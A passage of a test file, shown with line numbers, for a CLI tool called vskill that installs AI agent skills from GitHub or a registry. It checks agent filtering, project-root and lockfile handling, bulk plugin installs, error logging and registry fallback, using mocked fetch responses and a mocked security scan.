- mockRunTier1Scan.mockReturnValue(makeScanResult());
1206
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1207
- mockEnsureLockfile.mockReturnValue({
1208
- version: 1,
1209
- agents: [],
1210
- skills: {},
1211
- createdAt: "2026-01-01T00:00:00.000Z",
1212
- updatedAt: "2026-01-01T00:00:00.000Z",
1213
- });
1214
- });
1215
- afterEach(() => {
1216
- globalThis.fetch = originalFetch;
1217
- });
1218
- // TC-012: Project scope always uses process.cwd() — no walk-up
1219
- it("installs skill relative to process.cwd() regardless of findProjectRoot result", async () => {
1220
- const cwd = "/home/user/project/subdir";
1221
- const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
1222
- mockFindProjectRoot.mockReturnValue("/home/user/project");
1223
- await addCommand("owner/safe-repo", {});
1224
- expect(mockInstallSymlink).toHaveBeenCalled();
1225
- const callArgs = mockInstallSymlink.mock.calls[0];
1226
- expect(callArgs[3].projectRoot).toBe(cwd);
1227
- cwdSpy.mockRestore();
1228
- });
1229
- });
1230
- describe("addCommand --agent filter", () => {
1231
- const originalFetch = globalThis.fetch;
1232
- beforeEach(() => {
1233
- globalThis.fetch = vi.fn().mockResolvedValue({
1234
- ok: true,
1235
- text: async () => "# Skill content",
1236
- });
1237
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1238
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1239
- mockEnsureLockfile.mockReturnValue({
1240
- version: 1,
1241
- agents: [],
1242
- skills: {},
1243
- createdAt: "2026-01-01T00:00:00.000Z",
1244
- updatedAt: "2026-01-01T00:00:00.000Z",
1245
- });
1246
- });
1247
- afterEach(() => {
1248
- globalThis.fetch = originalFetch;
1249
- });
1250
- // TC-014: --agent filters to specific agent
1251
- it("installs only to the filtered agent when --agent is provided", async () => {
1252
- const claude = makeAgent({ id: "claude-code", displayName: "Claude Code" });
1253
- const cursor = makeAgent({
1254
- id: "cursor",
1255
- displayName: "Cursor",
1256
- localSkillsDir: ".cursor/skills",
1257
- globalSkillsDir: "~/.cursor/skills",
1258
- });
1259
- mockDetectInstalledAgents.mockResolvedValue([claude, cursor]);
1260
- // filterAgents returns only claude when agent=["claude-code"]
1261
- mockFilterAgents.mockReturnValue([claude]);
1262
- await addCommand("owner/safe-repo", { agent: ["claude-code"] });
1263
- // filterAgents should have been called with both agents and the filter
1264
- expect(mockFilterAgents).toHaveBeenCalledWith([claude, cursor], ["claude-code"]);
1265
- // Canonical installer called with only the filtered agent
1266
- expect(mockInstallSymlink).toHaveBeenCalled();
1267
- const agents = mockInstallSymlink.mock.calls[0][2]; // 3rd arg = agents array
1268
- expect(agents).toHaveLength(1);
1269
- expect(agents[0].id).toBe("claude-code");
1270
- });
1271
- // TC-015: --agent with invalid ID shows error
1272
- it("exits with error when --agent specifies unknown ID", async () => {
1273
- const claude = makeAgent();
1274
- mockDetectInstalledAgents.mockResolvedValue([claude]);
1275
- mockFilterAgents.mockImplementation(() => {
1276
- throw new Error("Unknown agent(s): nonexistent. Available: claude-code");
1277
- });
1278
- const mockExit = vi.spyOn(process, "exit").mockImplementation((() => { }));
1279
- const mockConsoleError = vi.spyOn(console, "error").mockImplementation(() => { });
1280
- await addCommand("owner/safe-repo", { agent: ["nonexistent"] });
1281
- expect(mockExit).toHaveBeenCalledWith(1);
1282
- // Should NOT have written any files
1283
- expect(mockWriteFileSync).not.toHaveBeenCalled();
1284
- mockExit.mockRestore();
1285
- mockConsoleError.mockRestore();
1286
- });
1287
- });
1288
- // ---------------------------------------------------------------------------
1289
- // TC-016: Nested directory bug — running install from inside agent base dir
1290
- // ---------------------------------------------------------------------------
1291
- describe("addCommand nested directory fix (TC-016)", () => {
1292
- const originalFetch = globalThis.fetch;
1293
- beforeEach(() => {
1294
- globalThis.fetch = vi.fn().mockResolvedValue({
1295
- ok: true,
1296
- text: async () => "# Skill content",
1297
- });
1298
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1299
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1300
- mockEnsureLockfile.mockReturnValue({
1301
- version: 1,
1302
- agents: [],
1303
- skills: {},
1304
- createdAt: "2026-01-01T00:00:00.000Z",
1305
- updatedAt: "2026-01-01T00:00:00.000Z",
1306
- });
1307
- });
1308
- afterEach(() => {
1309
- globalThis.fetch = originalFetch;
1310
- });
1311
- // TC-016a: cwd is agent base dir → canonical installer receives correct projectRoot
1312
- it("does not create nested agent dir when projectRoot ends with agent base folder", async () => {
1313
- // Simulate running `vskill install` from inside ~/.openclaw/
1314
- const agentBaseDir = "/home/user/.openclaw";
1315
- const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(agentBaseDir);
1316
- mockFindProjectRoot.mockReturnValue(agentBaseDir);
1317
- const openclaw = makeAgent({
1318
- id: "openclaw",
1319
- displayName: "OpenClaw",
1320
- localSkillsDir: "skills",
1321
- globalSkillsDir: "~/.openclaw/skills",
1322
- });
1323
- mockDetectInstalledAgents.mockResolvedValue([openclaw]);
1324
- await addCommand("owner/safe-repo", {});
1325
- // Canonical installer receives projectRoot = cwd (agentBaseDir)
1326
- // With localSkillsDir: "skills", the resolved path is /home/user/.openclaw/skills (no double nesting)
1327
- expect(mockInstallSymlink).toHaveBeenCalled();
1328
- const installOpts = mockInstallSymlink.mock.calls[0][3];
1329
- expect(installOpts.projectRoot).toBe(agentBaseDir);
1330
- cwdSpy.mockRestore();
1331
- });
1332
- // TC-016b: --cwd flag uses process.cwd() directly as projectRoot
1333
- it("does not create nested agent dir when --cwd and cwd is agent base dir", async () => {
1334
- // Spy on process.cwd() to return the agent base dir
1335
- const agentBaseDir = "/home/user/.openclaw";
1336
- const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(agentBaseDir);
1337
- const openclaw = makeAgent({
1338
- id: "openclaw",
1339
- displayName: "OpenClaw",
1340
- localSkillsDir: "skills",
1341
- globalSkillsDir: "~/.openclaw/skills",
1342
- });
1343
- mockDetectInstalledAgents.mockResolvedValue([openclaw]);
1344
- await addCommand("owner/safe-repo", { cwd: true });
1345
- // projectRoot should be process.cwd() directly
1346
- expect(mockInstallSymlink).toHaveBeenCalled();
1347
- const installOpts = mockInstallSymlink.mock.calls[0][3];
1348
- expect(installOpts.projectRoot).toBe(agentBaseDir);
1349
- cwdSpy.mockRestore();
1350
- });
1351
- });
1352
- // ---------------------------------------------------------------------------
1353
- // --repo flag tests
1354
- // ---------------------------------------------------------------------------
1355
- describe("addCommand with --repo flag (remote plugin install)", () => {
1356
- const originalFetch = globalThis.fetch;
1357
- afterEach(() => {
1358
- globalThis.fetch = originalFetch;
1359
- });
1360
- const marketplaceJson = JSON.stringify({
1361
- name: "vskill",
1362
- version: "1.0.0",
1363
- plugins: [
1364
- { name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
1365
- { name: "backend", source: "./plugins/backend", version: "1.0.0" },
1366
- ],
1367
- });
1368
- function setupHappyPath() {
1369
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1370
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1371
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1372
- mockFindProjectRoot.mockReturnValue("/project");
1373
- mockExistsSync.mockReturnValue(false);
1374
- mockEnsureLockfile.mockReturnValue({
1375
- version: 1,
1376
- agents: [],
1377
- skills: {},
1378
- createdAt: "2026-01-01T00:00:00.000Z",
1379
- updatedAt: "2026-01-01T00:00:00.000Z",
1380
- });
1381
- // Mock fetch to respond differently based on URL
1382
- globalThis.fetch = vi.fn().mockImplementation(async (url) => {
1383
- // Marketplace manifest
1384
- if (url.includes("marketplace.json")) {
1385
- return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
1386
- }
1387
- // GitHub Contents API: skills directory
1388
- if (url.includes("/contents/plugins/frontend/skills")) {
1389
- return {
1390
- ok: true,
1391
- json: async () => [
1392
- { name: "nextjs", type: "dir" },
1393
- { name: "react", type: "dir" },
1394
- ],
1395
- };
1396
- }
1397
- // GitHub Contents API: commands directory
1398
- if (url.includes("/contents/plugins/frontend/commands")) {
1399
- return {
1400
- ok: true,
1401
- json: async () => [
1402
- { name: "scaffold.md", type: "file" },
1403
- ],
1404
- };
1405
- }
1406
- // Raw content: SKILL.md files
1407
- if (url.includes("/skills/nextjs/SKILL.md")) {
1408
- return { ok: true, text: async () => "# Next.js Skill\nFrontend framework" };
1409
- }
1410
- if (url.includes("/skills/react/SKILL.md")) {
1411
- return { ok: true, text: async () => "# React Skill\nUI library" };
1412
- }
1413
- // Raw content: command files
1414
- if (url.includes("/commands/scaffold.md")) {
1415
- return { ok: true, text: async () => "# Scaffold\nGenerate project" };
1416
- }
1417
- return { ok: false };
1418
- });
1419
- }
1420
- it("installs skills and commands with plugin namespace prefix", async () => {
1421
- setupHappyPath();
1422
- await addCommand("ignored-source", { repo: "anton-abyzov/vskill", plugin: "frontend" });
1423
- // Should have fetched marketplace + skills dir + commands dir + 3 content files = 6 calls
1424
- expect(globalThis.fetch).toHaveBeenCalled();
1425
- // Should write SKILL.md files under {plugin-name}/{skill-name}/SKILL.md
1426
- const writeCalls = mockWriteFileSync.mock.calls;
1427
- const skillPaths = writeCalls.filter(([p]) => p.includes("SKILL.md")).map(([p]) => p);
1428
- expect(skillPaths.length).toBe(2);
1429
- // Paths should contain frontend/nextjs/SKILL.md and frontend/react/SKILL.md
1430
- expect(skillPaths.some(p => p.includes("/frontend/nextjs/SKILL.md"))).toBe(true);
1431
- expect(skillPaths.some(p => p.includes("/frontend/react/SKILL.md"))).toBe(true);
1432
- // Should also write the command file
1433
- const cmdPaths = writeCalls.filter(([p]) => p.includes("scaffold.md")).map(([p]) => p);
1434
- expect(cmdPaths.length).toBe(1);
1435
- expect(cmdPaths[0]).toContain("/frontend/");
1436
- });
1437
- it("writes lockfile with github source format", async () => {
1438
- setupHappyPath();
1439
- await addCommand("ignored-source", { repo: "anton-abyzov/vskill", plugin: "frontend" });
1440
- expect(mockWriteLockfile).toHaveBeenCalled();
1441
- const lock = mockWriteLockfile.mock.calls[0][0];
1442
- expect(lock.skills.frontend).toBeDefined();
1443
- expect(lock.skills.frontend.source).toBe("github:anton-abyzov/vskill#plugin:frontend");
1444
- expect(lock.skills.frontend.version).toBe("1.0.0");
1445
- });
1446
- it("exits with error for invalid --repo format", async () => {
1447
- const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });
1448
- try {
1449
- await addCommand("ignored", { repo: "noslash", plugin: "frontend" });
1450
- }
1451
- catch { /* expected */ }
1452
- expect(exitSpy).toHaveBeenCalledWith(1);
1453
- exitSpy.mockRestore();
1454
- });
1455
- it("exits with error when plugin not found in marketplace", async () => {
1456
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1457
- globalThis.fetch = vi.fn().mockImplementation(async (url) => {
1458
- if (url.includes("marketplace.json")) {
1459
- return { ok: true, text: async () => marketplaceJson };
1460
- }
1461
- return { ok: false };
1462
- });
1463
- const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });
1464
- try {
1465
- await addCommand("ignored", { repo: "anton-abyzov/vskill", plugin: "nonexistent" });
1466
- }
1467
- catch { /* expected */ }
1468
- expect(exitSpy).toHaveBeenCalledWith(1);
1469
- exitSpy.mockRestore();
1470
- });
1471
- it("runs security scan on combined skill content", async () => {
1472
- setupHappyPath();
1473
- await addCommand("ignored", { repo: "anton-abyzov/vskill", plugin: "frontend" });
1474
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
1475
- const scannedContent = mockRunTier1Scan.mock.calls[0][0];
1476
- // Combined content should include both skills and the command
1477
- expect(scannedContent).toContain("Next.js Skill");
1478
- expect(scannedContent).toContain("React Skill");
1479
- expect(scannedContent).toContain("Scaffold");
1480
- });
1481
- });
1482
- // ---------------------------------------------------------------------------
1483
- // --all flag tests (bulk repo install)
1484
- // ---------------------------------------------------------------------------
1485
- describe("addCommand with --repo --all flag (bulk install)", () => {
1486
- const originalFetch = globalThis.fetch;
1487
- afterEach(() => {
1488
- globalThis.fetch = originalFetch;
1489
- });
1490
- const marketplaceJson = JSON.stringify({
1491
- name: "vskill",
1492
- version: "1.0.0",
1493
- plugins: [
1494
- { name: "frontend", source: "./plugins/frontend", description: "Frontend skills", version: "1.0.0" },
1495
- { name: "backend", source: "./plugins/backend", description: "Backend skills", version: "1.0.0" },
1496
- { name: "testing", source: "./plugins/testing", description: "Testing skills", version: "1.0.0" },
1497
- ],
1498
- });
1499
- function setupAllHappyPath() {
1500
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1501
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1502
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1503
- mockFindProjectRoot.mockReturnValue("/project");
1504
- mockExistsSync.mockReturnValue(false);
1505
- mockEnsureLockfile.mockReturnValue({
1506
- version: 1,
1507
- agents: [],
1508
- skills: {},
1509
- createdAt: "2026-01-01T00:00:00.000Z",
1510
- updatedAt: "2026-01-01T00:00:00.000Z",
1511
- });
1512
- globalThis.fetch = vi.fn().mockImplementation(async (url) => {
1513
- if (url.includes("marketplace.json")) {
1514
- return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
1515
- }
1516
- // Skills directory for any plugin
1517
- if (url.includes("/contents/plugins/") && url.includes("/skills")) {
1518
- return {
1519
- ok: true,
1520
- json: async () => [{ name: "skill-one", type: "dir" }],
1521
- };
1522
- }
1523
- // Commands directory
1524
- if (url.includes("/contents/plugins/") && url.includes("/commands")) {
1525
- return { ok: true, json: async () => [] };
1526
- }
1527
- // SKILL.md content
1528
- if (url.includes("/SKILL.md")) {
1529
- return { ok: true, text: async () => "# Test Skill\nDomain expertise" };
1530
- }
1531
- return { ok: false };
1532
- });
1533
- }
1534
- it("installs all plugins from marketplace when --all is passed", async () => {
1535
- setupAllHappyPath();
1536
- await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
1537
- // Should write lockfile entries for all 3 plugins
1538
- expect(mockWriteLockfile).toHaveBeenCalledTimes(3);
1539
- const lockCalls = mockWriteLockfile.mock.calls;
1540
- const pluginNames = lockCalls.map((call) => Object.keys(call[0].skills).filter(k => ["frontend", "backend", "testing"].includes(k))).flat();
1541
- expect(pluginNames).toContain("frontend");
1542
- expect(pluginNames).toContain("backend");
1543
- expect(pluginNames).toContain("testing");
1544
- });
1545
- it("writes lockfile with github source for each plugin", async () => {
1546
- setupAllHappyPath();
1547
- await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
1548
- // Check each call has correct source format
1549
- const allLocks = mockWriteLockfile.mock.calls.map((call) => call[0]);
1550
- const sources = allLocks.flatMap(lock => Object.entries(lock.skills).map(([name, entry]) => ({ name, source: entry.source })));
1551
- const frontendEntry = sources.find(s => s.name === "frontend");
1552
- expect(frontendEntry?.source).toBe("github:anton-abyzov/vskill#plugin:frontend");
1553
- });
1554
- it("continues installing after one plugin fails", async () => {
1555
- setupAllHappyPath();
1556
- // Make "backend" fail by having its skills dir return empty
1557
- let callCount = 0;
1558
- globalThis.fetch = vi.fn().mockImplementation(async (url) => {
1559
- if (url.includes("marketplace.json")) {
1560
- return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
1561
- }
1562
- // Make the second plugin (backend) return no skills
1563
- if (url.includes("/contents/plugins/backend/skills")) {
1564
- return { ok: true, json: async () => [] };
1565
- }
1566
- if (url.includes("/contents/plugins/backend/commands")) {
1567
- return { ok: true, json: async () => [] };
1568
- }
1569
- if (url.includes("/contents/plugins/") && url.includes("/skills")) {
1570
- return {
1571
- ok: true,
1572
- json: async () => [{ name: "skill-one", type: "dir" }],
1573
- };
1574
- }
1575
- if (url.includes("/contents/plugins/") && url.includes("/commands")) {
1576
- return { ok: true, json: async () => [] };
1577
- }
1578
- if (url.includes("/SKILL.md")) {
1579
- return { ok: true, text: async () => "# Test Skill\nContent" };
1580
- }
1581
- return { ok: false };
1582
- });
1583
- await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
1584
- // Should still install frontend and testing (backend fails)
1585
- // lockfile written at least twice (for frontend and testing)
1586
- expect(mockWriteLockfile.mock.calls.length).toBeGreaterThanOrEqual(2);
1587
- });
1588
- it("exits with error when --all used without --repo", async () => {
1589
- const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });
1590
- try {
1591
- await addCommand(undefined, { all: true });
1592
- }
1593
- catch { /* expected */ }
1594
- expect(exitSpy).toHaveBeenCalledWith(1);
1595
- exitSpy.mockRestore();
1596
- });
1597
- it("does not require source argument when --repo --all is used", async () => {
1598
- setupAllHappyPath();
1599
- // source is undefined — should work fine with --repo --all
1600
- await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
1601
- // Should not throw — verify plugins were installed
1602
- expect(mockWriteLockfile).toHaveBeenCalled();
1603
- });
1604
- });
1605
- // ---------------------------------------------------------------------------
1606
- // Project root consistency — lockfile and skills use the same base dir
1607
- // ---------------------------------------------------------------------------
1608
- describe("addCommand project root consistency", () => {
1609
- const originalFetch = globalThis.fetch;
1610
- beforeEach(() => {
1611
- globalThis.fetch = vi.fn().mockResolvedValue({
1612
- ok: true,
1613
- text: async () => "# Skill content",
1614
- });
1615
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1616
- mockCheckPlatformSecurity.mockResolvedValue(null);
1617
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1618
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1619
- mockEnsureLockfile.mockReturnValue({
1620
- version: 1,
1621
- agents: [],
1622
- skills: {},
1623
- createdAt: "2026-01-01T00:00:00.000Z",
1624
- updatedAt: "2026-01-01T00:00:00.000Z",
1625
- });
1626
- });
1627
- afterEach(() => {
1628
- globalThis.fetch = originalFetch;
1629
- });
1630
- it("passes project root to ensureLockfile and writeLockfile in discovery flow", async () => {
1631
- const cwd = "/home/user/my-project";
1632
- const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
1633
- mockFindProjectRoot.mockReturnValue(cwd);
1634
- mockDiscoverSkills.mockResolvedValue([
1635
- { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
1636
- ]);
1637
- await addCommand("owner/repo", {});
1638
- expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
1639
- expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);
1640
- cwdSpy.mockRestore();
1641
- });
1642
- it("passes project root to ensureLockfile and writeLockfile in single-skill legacy flow", async () => {
1643
- const cwd = "/home/user/my-project";
1644
- const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
1645
- mockFindProjectRoot.mockReturnValue(cwd);
1646
- await addCommand("owner/repo/my-skill", {});
1647
- expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
1648
- expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);
1649
- cwdSpy.mockRestore();
1650
- });
1651
- it("passes project root to ensureLockfile and writeLockfile in registry flow with content", async () => {
1652
- const cwd = "/home/user/my-project";
1653
- const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
1654
- mockFindProjectRoot.mockReturnValue(cwd);
1655
- mockGetSkill.mockResolvedValue({
1656
- name: "my-skill",
1657
- author: "alice",
1658
- version: "1.0.0",
1659
- content: "# My Skill",
1660
- installs: 0,
1661
- updatedAt: "",
1662
- });
1663
- await addCommand("my-skill", {});
1664
- expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
1665
- expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);
1666
- cwdSpy.mockRestore();
1667
- });
1668
- it("canonical installer and lockfile both use same project root in discovery flow", async () => {
1669
- const cwd = "/home/user/deep/project";
1670
- const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
1671
- mockFindProjectRoot.mockReturnValue(cwd);
1672
- mockDiscoverSkills.mockResolvedValue([
1673
- { name: "alpha", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
1674
- ]);
1675
- await addCommand("owner/repo", {});
1676
- expect(mockInstallSymlink).toHaveBeenCalled();
1677
- const installOpts = mockInstallSymlink.mock.calls[0][3];
1678
- expect(installOpts.projectRoot).toBe(cwd);
1679
- expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
1680
- cwdSpy.mockRestore();
1681
- });
1682
- it("uses ~/.agents/ for lockfile when global scope is selected", async () => {
1683
- mockHomedir.mockReturnValue("/home/testuser");
1684
- mockFindProjectRoot.mockReturnValue("/home/testuser/my-project");
1685
- mockDiscoverSkills.mockResolvedValue([
1686
- { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
1687
- ]);
1688
- await addCommand("owner/repo", { global: true });
1689
- // Lockfile should go to ~/.agents/, not the project root
1690
- expect(mockEnsureLockfile).toHaveBeenCalledWith("/home/testuser/.agents");
1691
- expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), "/home/testuser/.agents");
1692
- });
1693
- it("sets scope field on lockfile entries for global installs", async () => {
1694
- mockHomedir.mockReturnValue("/home/testuser");
1695
- mockFindProjectRoot.mockReturnValue("/home/testuser/my-project");
1696
- mockDiscoverSkills.mockResolvedValue([
1697
- { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
1698
- ]);
1699
- await addCommand("owner/repo", { global: true });
1700
- // Check that the lock object passed to writeLockfile has scope: "user"
1701
- const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
1702
- const entry = lockArg?.skills?.["skill-a"];
1703
- expect(entry?.scope).toBe("user");
1704
- });
1705
- it("sets scope field to 'project' for project-scoped installs", async () => {
1706
- const projectRoot = "/home/testuser/my-project";
1707
- mockFindProjectRoot.mockReturnValue(projectRoot);
1708
- mockDiscoverSkills.mockResolvedValue([
1709
- { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
1710
- ]);
1711
- await addCommand("owner/repo", {});
1712
- const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
1713
- const entry = lockArg?.skills?.["skill-a"];
1714
- expect(entry?.scope).toBe("project");
1715
- });
1716
- });
1717
- // ---------------------------------------------------------------------------
1718
- // Error handling — installOneGitHubSkill must not silently swallow errors
1719
- // ---------------------------------------------------------------------------
1720
- describe("addCommand error handling in discovery flow", () => {
1721
- const originalFetch = globalThis.fetch;
1722
- beforeEach(() => {
1723
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1724
- mockCheckPlatformSecurity.mockResolvedValue(null);
1725
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1726
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1727
- mockFindProjectRoot.mockReturnValue(process.cwd());
1728
- mockEnsureLockfile.mockReturnValue({
1729
- version: 1,
1730
- agents: [],
1731
- skills: {},
1732
- createdAt: "2026-01-01T00:00:00.000Z",
1733
- updatedAt: "2026-01-01T00:00:00.000Z",
1734
- });
1735
- globalThis.fetch = vi.fn().mockResolvedValue({
1736
- ok: true,
1737
- text: async () => "# Skill content",
1738
- });
1739
- });
1740
- afterEach(() => {
1741
- globalThis.fetch = originalFetch;
1742
- });
1743
- it("logs error and marks skill as not installed when canonical installer throws", async () => {
1744
- mockDiscoverSkills.mockResolvedValue([
1745
- { name: "broken", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
1746
- ]);
1747
- mockInstallSymlink.mockImplementation(() => {
1748
- throw new Error("EACCES: permission denied");
1749
- });
1750
- await addCommand("owner/repo", {});
1751
- // Error should be logged (not swallowed)
1752
- const errorOutput = console.error.mock.calls
1753
- .map((c) => String(c[0]))
1754
- .join("\n");
1755
- expect(errorOutput).toContain("Failed to install");
1756
- expect(errorOutput).toContain("EACCES");
1757
- // Skill should NOT appear in lockfile
1758
- const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
1759
- if (lockArg) {
1760
- expect(lockArg.skills).not.toHaveProperty("broken");
1761
- }
1762
- });
1763
- });
1764
- // ---------------------------------------------------------------------------
1765
- // Flat name deprecation — tip message for owner/repo format
1766
- // ---------------------------------------------------------------------------
1767
- describe("addCommand flat name identifier guidance", () => {
1768
- const originalFetch = globalThis.fetch;
1769
- beforeEach(() => {
1770
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1771
- mockCheckPlatformSecurity.mockResolvedValue(null);
1772
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1773
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1774
- mockFindProjectRoot.mockReturnValue(process.cwd());
1775
- mockEnsureLockfile.mockReturnValue({
1776
- version: 1,
1777
- agents: [],
1778
- skills: {},
1779
- createdAt: "2026-01-01T00:00:00.000Z",
1780
- updatedAt: "2026-01-01T00:00:00.000Z",
1781
- });
1782
- });
1783
- afterEach(() => {
1784
- globalThis.fetch = originalFetch;
1785
- });
1786
- it("shows format tip when source is a flat name going to registry", async () => {
1787
- mockGetSkill.mockResolvedValue({
1788
- name: "my-skill",
1789
- author: "alice",
1790
- version: "1.0.0",
1791
- content: "# My Skill",
1792
- installs: 0,
1793
- updatedAt: "",
1794
- });
1795
- await addCommand("my-skill", {});
1796
- const logOutput = console.log.mock.calls
1797
- .map((c) => String(c[0]))
1798
- .join("\n");
1799
- expect(logOutput).toContain("owner/repo");
1800
- });
1801
- it("shows resolution hint when registry falls back to GitHub", async () => {
1802
- mockGetSkill.mockResolvedValue({
1803
- name: "remotion-dev-skills-remotion",
1804
- author: "remotion-dev",
1805
- content: undefined,
1806
- repoUrl: "https://github.com/remotion-dev/skills",
1807
- installs: 0,
1808
- updatedAt: "",
1809
- });
1810
- mockDiscoverSkills.mockResolvedValue([
1811
- { name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
1812
- ]);
1813
- globalThis.fetch = vi.fn().mockResolvedValue({
1814
- ok: true,
1815
- text: async () => "# Remotion skill",
1816
- });
1817
- await addCommand("remotion-dev-skills-remotion", {});
1818
- const logOutput = console.log.mock.calls
1819
- .map((c) => String(c[0]))
1820
- .join("\n");
1821
- // Should suggest the owner/repo format (no longer 3-part)
1822
- expect(logOutput).toContain("vskill install remotion-dev/skills");
1823
- });
1824
- });
1825
- // ---------------------------------------------------------------------------
1826
- // Registry → GitHub fallback: auto-select matching skill (_targetSkill)
1827
- // ---------------------------------------------------------------------------
1828
- describe("addCommand registry fallback auto-selects matching skill", () => {
1829
- const originalFetch = globalThis.fetch;
1830
- beforeEach(() => {
1831
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1832
- mockCheckPlatformSecurity.mockResolvedValue(null);
1833
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1834
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1835
- mockFindProjectRoot.mockReturnValue(process.cwd());
1836
- // Reset canonical installer (earlier test overrides with throwing impl)
1837
- mockInstallSymlink.mockReturnValue([]);
1838
- mockInstallCopy.mockReturnValue([]);
1839
- mockEnsureLockfile.mockReturnValue({
1840
- version: 1,
1841
- agents: [],
1842
- skills: {},
1843
- createdAt: "2026-01-01T00:00:00.000Z",
1844
- updatedAt: "2026-01-01T00:00:00.000Z",
1845
- });
1846
- });
1847
- afterEach(() => {
1848
- globalThis.fetch = originalFetch;
1849
- });
1850
- it("auto-selects matching skill from multi-skill repo (installs 1, not all)", async () => {
1851
- mockGetSkill.mockResolvedValue({
1852
- name: "excalidraw-diagram-generator",
1853
- author: "github",
1854
- content: undefined,
1855
- repoUrl: "https://github.com/github/awesome-copilot",
1856
- installs: 100,
1857
- updatedAt: "2026-02-20T00:00:00Z",
1858
- });
1859
- mockDiscoverSkills.mockResolvedValue([
1860
- { name: "code-review", path: "skills/code-review/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/code-review/SKILL.md" },
1861
- { name: "excalidraw-diagram-generator", path: "skills/excalidraw-diagram-generator/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/excalidraw-diagram-generator/SKILL.md" },
1862
- { name: "unit-test-writer", path: "skills/unit-test-writer/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/unit-test-writer/SKILL.md" },
1863
- ]);
1864
- globalThis.fetch = vi.fn().mockResolvedValue({
1865
- ok: true,
1866
- text: async () => "# Excalidraw Diagram Generator",
1867
- });
1868
- await addCommand("excalidraw-diagram-generator", {});
1869
- // Should only install 1 skill, not all 3
1870
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
1871
- const lockArg = mockWriteLockfile.mock.calls[0][0];
1872
- expect(Object.keys(lockArg.skills)).toHaveLength(1);
1873
- expect(lockArg.skills).toHaveProperty("excalidraw-diagram-generator");
1874
- expect(lockArg.skills).not.toHaveProperty("code-review");
1875
- expect(lockArg.skills).not.toHaveProperty("unit-test-writer");
1876
- });
1877
- it("aborts in non-TTY when registry name does not match any discovered skill", async () => {
1878
- mockGetSkill.mockResolvedValue({
1879
- name: "remotion-dev-skills-remotion",
1880
- author: "remotion-dev",
1881
- content: undefined,
1882
- repoUrl: "https://github.com/remotion-dev/skills",
1883
- installs: 0,
1884
- updatedAt: "2026-02-20T00:00:00Z",
1885
- });
1886
- // Registry name "remotion-dev-skills-remotion" does NOT match dir names
1887
- mockDiscoverSkills.mockResolvedValue([
1888
